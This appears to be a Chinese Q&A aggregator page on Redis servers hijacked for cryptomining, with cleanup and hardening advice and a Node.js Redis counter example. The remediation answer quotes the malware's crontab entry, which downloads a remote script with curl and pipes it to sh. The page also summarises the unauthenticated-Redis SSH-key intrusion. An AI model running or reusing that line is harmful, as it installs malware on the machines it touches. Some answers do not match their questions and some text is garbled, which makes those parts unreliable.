当前位置:首页 » 挖矿知识 » redis被攻击挖矿

redis被攻击挖矿

发布时间: 2022-01-06 06:27:36

⑴ 阿里云服务器被挖矿了怎么办(纯纯电脑小白

1. 关闭访问挖矿服务器的访问

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.

2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。

3. pkill minerd ,杀掉进程

4. service stop crond 或者 crontab -r 删除所有的执行计划

5. 执行top,查看了一会,没有再发现minerd 进程了。

6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。

下载脚本的语句:

*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下,感兴趣的可以研究下:

View Code

解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blog.jobbole.com/94518/然后就注入了病毒,下面是解决办法和清除工作:

1. 修复 redis 的后门,

配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号

3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.

⑵ Redis内存溢出时都发生什么了

1. 常发性内存泄漏。发生内存泄漏的代码会被多次执行到,每次被执行的时候都会导致一块内存泄漏。
2. 偶发性内存泄漏。发生内存泄漏的代码只有在某些特定环境或操作过程下才会发生。常发性和偶发性是相对的。对于特定的环境,偶发性的也许就变成了常发性的。所以测试环境和测试方法对检测内存泄漏至关重要。
3. 一次性内存泄漏。发生内存泄漏的代码只会被执行一次,或者由于算法上的缺陷,导致总会有一块仅且一块内存发生泄漏。比如,在类的构造函数中分配内存,在析构函数中却没有释放该内存,所以内存泄漏只会发生一次。

⑶ 中挖矿病毒的表现

故障现象:使用过程中,发现经常有服务无故关闭,登录服务器经检查,发现CPU使用率达到100%。在检测异常进程中,未发现CPU使用率异常的进程(使用 top、htop 以及 ps -aux 进行检查),于是报障。

检测过程:

1.找到他shell脚本对应目录把目录或者文件删除。

2.检查定时任务是否存在挖矿木马文件在定时任务中,避免定时运行挖矿木马文件。

3.添加hosts挖矿病毒访问对应网站,避免二次访问并下载。

4.排查liunx命令是否损坏,如损坏下载"procps-3.2.8"并编译,恢复top等系列命令。

5.检测进程是否异常。

6.排查入侵入口,例如 redis是否存在弱口令,nginx或者apache上面的网站程序是否存在漏洞,并排查下nginx或者apache日志审查漏洞所在处。

7.排查ssh登录日志。

8.把ssh登录切换成秘钥登录。

9.重启服务器,检查是否进程是否正常。

⑷ redis缓存穿透,频繁查询db,怎么解决

首先要明白redis数据库

redis内存数据库, 所数据基本都存于内存, 定追加或者快照式刷新硬盘.
由于redis内存数据库, 所读取写入速度非快, 所经用做数据, 页面等缓存

⑸ 怎么查看redis某个库被哪个ip消费

①开始→运行→输入:CMD 点击确定(或按回车键),打开命令提示符窗口。

②使用以下命令查看参数:netstat /?
netstat -a -n

③除此之外,还可以从任务管理器中看到端口开启的状态。
运行中输入:taskmgr →确定→打开Task Manager(任务管理器)

④如果进程中没有显示PID项目,已调出来:查看→选择列

⑤勾选 进程标识符PID →确定

⑥再查看进程中程序和端口的对应关系: BaiHI.exe→2944

参考资料:《如何查看端口使用状态?》

⑹ redis漏洞 可以入侵windows吗

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

⑺ redis读多线程会出现脏数据吗

是的,和我们单线程,跑两个50000,会输出100000。现在是两个并发线程同时跑在由于并发造成的数据结果往往不是我们想要的。那么如何解决这个问题呢,Redis已经为我们准备好了!
你可以看到我RedisHelper中有个方法是 public IDisposable Setnx(string key)。 也可以看到他返回的是IDisposable,证明我们需要手动释放资源。方法内部的 AcquireLock正是关键之处,它像redis中索取一把锁头,被锁住的资源,只能被单个线程访问,不会被两个线程同时get或者set,这两个线程一定是交替着进行的,当然这里的交替并不是指你一次我一次,也可能是你多次,我一次,下面看代码。

⑻ redis怎么会崩溃

由于redis存储在内存中且提供一般编程语言常用的数据结构存储类型,所以经常被用于做服务器崩溃宕机的数据恢复处理。

服务器可以在某些指定过程中将需要保存的数据以json对象等方式存储到redis中,也就是我们常说的快照,当服务器运行时读取redis来判断是否有待需要恢复数据继续处理的业务。

当一次业务处理结束后再删除redis的数据即可。

redis提供两种将内存数据导出到硬盘实现数据备份的方法:

RDB方式(默认)


RDB方式的持久化是通过快照(snapshotting)完成的,当符合一定条件时Redis会自动将内存中的所有数据进行快照并存储在硬盘上。进行快照的条件可以由用户在配置文件中自定义,由两个参数构成:时间和改动的键的个数。当在指定的时间内被更改的键的个数大于指定的数值时就会进行快照。RDB是redis默认采用的持久化方式,在配置文件中已经预置了3个条件:


save 900 1 # 900秒内有至少1个键被更改则进行快照
save 300 10 # 300秒内有至少10个键被更改则进行快照
save 60 10000 # 60秒内有至少10000个键被更改则进行快照
可以存在多个条件,条件之间是“或”的关系,只要满足其中一个条件,就会进行快照。 如果想要禁用自动快照,只需要将所有的save参数删除即可。


Redis默认会将快照文件存储在当前目录(可CONFIG GET dir来查看)的mp.rdb文件中,可以通过配置dir和dbfilename两个参数分别指定快照文件的存储路径和文件名。


Redis实现快照的过程


Redis使用fork函数复制一份当前进程(父进程)的副本(子进程);
父进程继续接收并处理客户端发来的命令,而子进程开始将内存中的数据写入硬盘中的临时文件;
当子进程写入完所有数据后会用该临时文件替换旧的RDB文件,至此一次快照操作完成。
在执行fork的时候操作系统(类Unix操作系统)会使用写时复制(-on-write)策略,即fork函数发生的一刻父子进程共享同一内存数据,当父进程要更改其中某片数据时(如执行一个写命令 ),操作系统会将该片数据复制一份以保证子进程的数据不受影响,所以新的RDB文件存储的是执行fork一刻的内存数据。


Redis在进行快照的过程中不会修改RDB文件,只有快照结束后才会将旧的文件替换成新的,也就是说任何时候RDB文件都是完整的。这使得我们可以通过定时备份RDB文件来实 现Redis数据库备份。RDB文件是经过压缩(可以配置rdbcompression参数以禁用压缩节省CPU占用)的二进制格式,所以占用的空间会小于内存中的数据大小,更加利于传输。


除了自动快照,还可以手动发送SAVE或BGSAVE命令让Redis执行快照,两个命令的区别在于,前者是由主进程进行快照操作,会阻塞住其他请求,后者会通过fork子进程进行快照操作。 Redis启动后会读取RDB快照文件,将数据从硬盘载入到内存。根据数据量大小与结构和服务器性能不同,这个时间也不同。通常将一个记录一千万个字符串类型键、大小为1GB的快照文件载入到内 存中需要花费20~30秒钟。 通过RDB方式实现持久化,一旦Redis异常退出,就会丢失最后一次快照以后更改的所有数据。这就需要开发者根据具体的应用场合,通过组合设置自动快照条件的方式来将可能发生的数据损失控制在能够接受的范围。如果数据很重要以至于无法承受任何损失,则可以考虑使用AOF方式进行持久化。


AOF方式


默认情况下Redis没有开启AOF(append only file)方式的持久化,可以在redis.conf中通过appendonly参数开启:


appendonly yes
在启动时Redis会逐个执行AOF文件中的命令来将硬盘中的数据载入到内存中,载入的速度相较RDB会慢一些


开启AOF持久化后每执行一条会更改Redis中的数据的命令,Redis就会将该命令写入硬盘中的AOF文件。AOF文件的保存位置和RDB文件的位置相同,都是通过dir参数设置的,默认的文件名是appendonly.aof,可以通过appendfilename参数修改:


appendfilename appendonly.aof
配置redis自动重写AOF文件的条件


auto-aof-rewrite-percentage 100 # 当目前的AOF文件大小超过上一次重写时的AOF文件大小的百分之多少时会再次进行重写,如果之前没有重写过,则以启动时的AOF文件大小为依据
auto-aof-rewrite-min-size 64mb # 允许重写的最小AOF文件大小
配置写入AOF文件后,要求系统刷新硬盘缓存的机制


# appendfsync always # 每次执行写入都会执行同步,最安全也最慢
appendfsync everysec # 每秒执行一次同步操作
# appendfsync no # 不主动进行同步操作,而是完全交由操作系统来做(即每30秒一次),最快也最不安全
Redis允许同时开启AOF和RDB,既保证了数据安全又使得进行备份等操作十分容易。此时重新启动Redis后Redis会使用AOF文件来恢复数据,因为AOF方式的持久化可能丢失的数据更少

我们简单做一个定时计数器的小程序

[javascript]view plain

  • redis=require('redis'),//导入js模块

  • RDS_PORT=1379,//端口号

  • RDS_HOST='47.93.112.119',//服务器IP

  • RDS_OPTS={},//设置项

  • redisdb=redis.createClient(RDS_PORT,RDS_HOST,RDS_OPTS);//创建连接

  • redisdb.select(20);//指定分区库

  • redisdb.on('ready',function(res){

  • console.log('ready');

  • });

  • redisdb.on('connect',function(){

  • console.log('connect');

  • });

  • exports.redisdb=redisdb;

  • functionredis_opt(opt,key,value,callback){

  • if(opt=='get'){

  • redisdb.get(key,function(err,data){

  • if(err==null){

  • callback(data);

  • }

  • else{

  • callback(err);

  • }

  • });

  • }

  • elseif(opt=='set')

  • {

  • redisdb.set(key,value,function(err,result){

  • if(err==null){

  • callback(result);

  • }

  • else{

  • callback(err);

  • }

  • });

  • }

  • elseif(opt=='del')

  • {

  • redisdb.del(key,function(err,result){

  • if(err==null){

  • callback(result);

  • }

  • else{

  • callback(err);

  • }

  • });

  • }

  • else

  • {

  • callback("erroropt!");

  • }

  • }

  • functionupdate(key)

  • {

  • redis_opt("get",key,null,function(data){

  • console.log("theredisdatais"+data);

  • if(data){

  • count=parseInt(data);

  • redis_opt("set",key,++count,function(data){

  • console.log("set"+count+""+data);

  • });

  • }

  • else{

  • redis_opt("set",key,10000,function(data){

  • console.log("set"+10000+""+data);

  • });

  • }

  • });

  • }

  • functionclear(key)

  • {

  • redis_opt("del",key,null,function(ret){

  • console.log("del"+key+""+ret);

  • });

  • }

  • functionmain()

  • {

  • varkey="count_test";

  • setInterval(function(){clear(key)},5000);

  • setInterval(function(){update(key)},1000);

  • }

  • //testmain();

  • main();



  • 以上代码为简单的计时器函数,即服务器启动后定时读取redis的数据,如果存在则累加修改,不存在则初始化,同时为了方便说明,又设置了一个定时删除数据的定时器。


⑼ redis blocked clients是哪些进程

1. 掌控储存在Redis中的所有键
数据库的主要功能是储存数据,但是对于开发者来说,因为应用程序需求或者数据使用方法的改变,忽略存储在数据库中的某些数据是非常正常的,在Redis中同样如此。你可能忽视期满某些键,也可能因为应用程序的某个模块弃用而忘掉这些数据。
无论哪种情况,Redis都存储了一些不再使用的数据,平白无故的占用了一些空间。Redis的弱结构数据模式让集中储存的内容很难被弄清,除非你 为键使用一套非常成熟的命名法则。使用合适的命名方法会简化你的数据库管理,当你通过你的应用程序或者服务做键的命名空间时(通常情况下是使用冒号来划分 键名),你就可以在数据迁移、转换或者删除时轻松的识别。
Redis另一个常见用例是作为热数据项作的第二数据存储,大部分的数据被保存在其他的数据库中,比如PostgreSQL或MongoDB。在这 些用例中,当数据从主存储移除时,开发者经常会忘记删除Redis中对应的数据。这种存在跨数据存储的情况下,通常需要做级联删除,这种情况下,可以通过 在Redis配置保存特定数据项的所有识别符来实现,从而保证数据在主数据库被删除后,系统会调用一个清理程序来删除所有相关副本和信息。

⑽ redis被攻击,怎么预防

1,主从是必须的,不过现在redis的proxy还不稳定,主从异常还得手工切换
2,持久化,根据数据变化频率和数据量,调整持久化参数,选择RDB或者AOF做持久化
3,可是,如果是做缓存,最好是能从业务中重建的。
4,国内有个ssdb,个人测试的结果显示ssdb能有redis 20%左右的性能,但集群比较好,一些项目中可以用来替换redis.

热点内容
比特币支付绑金 发布:2025-08-30 01:56:24 浏览:58
币世界区块链 发布:2025-08-30 01:55:02 浏览:112
区块链最早的也是最成功的一个大规模应用 发布:2025-08-30 01:41:10 浏览:547
ltc币3倍做空什么有的 发布:2025-08-30 01:23:28 浏览:810
节点区块区块链区别 发布:2025-08-30 01:16:41 浏览:942
doge币挖矿商城 发布:2025-08-30 01:16:39 浏览:796
目前全世界的区块链技术已经有了通用标准 发布:2025-08-30 01:12:32 浏览:378
即将来临区块链及金融基础设施的未来 发布:2025-08-30 00:25:18 浏览:296
当年比特币怎么买 发布:2025-08-29 23:38:37 浏览:337
蚂蚁s9矿机什么时间推出的 发布:2025-08-29 23:36:55 浏览:635